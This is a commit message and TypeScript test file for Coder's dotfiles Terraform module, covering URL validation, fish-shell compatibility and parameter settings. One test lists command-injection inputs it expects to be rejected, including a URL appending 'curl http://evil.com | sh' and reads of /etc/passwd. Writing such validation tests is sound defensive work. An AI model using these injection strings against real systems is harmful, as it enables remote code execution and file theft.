Koury Lape da8e296b1c
Fix/dotfiles fish compatibility (#682)
## Description

The dotfiles module does not work when using non-POSIX shells i.e. Fish.

## Type of Change

- [ ] New module
- [ ] New template
- [x] Bug fix
- [x] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

**Path:** `registry/coder/modules/dotfiles`  
**New version:** `v1.4.1`  
**Breaking change:** [ ] Yes [ ] No

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally

```
bun test v1.3.8 (b64edcb4)

registry/coder/modules/dotfiles/main.test.ts:
✓ dotfiles > required variables [190.40ms]
✓ dotfiles > missing variable: agent_id [43.12ms]
✓ dotfiles > default output [150.15ms]
✓ dotfiles > set a default dotfiles_uri [159.14ms]
✓ dotfiles > command uses bash for fish shell compatibility [164.08ms]
✓ dotfiles > set custom order for coder_parameter [166.50ms]

 6 pass
 0 fail
 7 expect() calls
Ran 6 tests across 1 file. [1184.00ms]
```

I tested this with a new workspace on Coder v2.27.3 with fish, zsh, and
bash.

---------

Co-authored-by: DevCats <christofer@coder.com>
Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com>
2026-03-20 10:42:34 -05:00

118 lines
3.5 KiB
TypeScript

import { describe, expect, it } from "bun:test";
import {
runTerraformApply,
runTerraformInit,
testRequiredVariables,
} from "~test";
describe("dotfiles", async () => {
await runTerraformInit(import.meta.dir);
testRequiredVariables(import.meta.dir, {
agent_id: "foo",
});
it("default output is empty string", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
});
expect(state.outputs.dotfiles_uri.value).toBe("");
});
it("accepts valid git URL formats", async () => {
const validUrls = [
"https://github.com/coder/dotfiles",
"https://github.com/coder/dotfiles.git",
"git@github.com:coder/dotfiles.git",
"git://github.com/coder/dotfiles.git",
"ssh://git@github.com/coder/dotfiles.git",
"ssh://git@bitbucket.example.org:7999/~myusername/dotfiles.git",
];
for (const url of validUrls) {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
});
expect(state.outputs.dotfiles_uri.value).toBe(url);
}
});
it("rejects invalid or malicious URLs", async () => {
const invalidUrls = [
"https://github.com/user/repo; curl http://evil.com | sh",
"https://github.com/$(whoami)/repo",
"https://github.com/`id`/repo",
"https://github.com/user/repo|cat /etc/passwd",
"file:///etc/passwd",
"not-a-valid-url",
];
for (const url of invalidUrls) {
await expect(
runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
}),
).rejects.toThrow();
}
});
it("command uses bash for fish shell compatibility", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
manual_update: "true",
dotfiles_uri: "https://github.com/test/dotfiles",
});
const app = state.resources.find(
(r) => r.type === "coder_app" && r.name === "dotfiles",
);
expect(app).toBeDefined();
expect(app?.instances[0]?.attributes?.command).toContain("/bin/bash -c");
});
it("set custom order for coder_parameter", async () => {
const order = 99;
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
coder_parameter_order: order.toString(),
});
expect(state.resources).toHaveLength(3);
const parameters = state.resources.filter(
(r) => r.type === "coder_parameter",
);
for (const param of parameters) {
expect(param.instances[0].attributes.order).toBe(order);
}
});
it("set custom dotfiles_branch", async () => {
const branch = "develop";
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_branch: branch,
});
expect(state.resources).toHaveLength(2);
const scriptResource = state.resources.find(
(r) => r.type === "coder_script",
);
expect(scriptResource?.instances[0].attributes.script).toContain(
`DOTFILES_BRANCH="${branch}"`,
);
});
it("default dotfiles_branch creates parameter", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
});
expect(state.resources).toHaveLength(3);
const branchParameter = state.resources.find(
(r) =>
r.type === "coder_parameter" &&
r.instances[0].attributes.name === "dotfiles_branch",
);
expect(branchParameter).toBeDefined();
expect(branchParameter?.instances[0].attributes.default).toBeNull();
});
});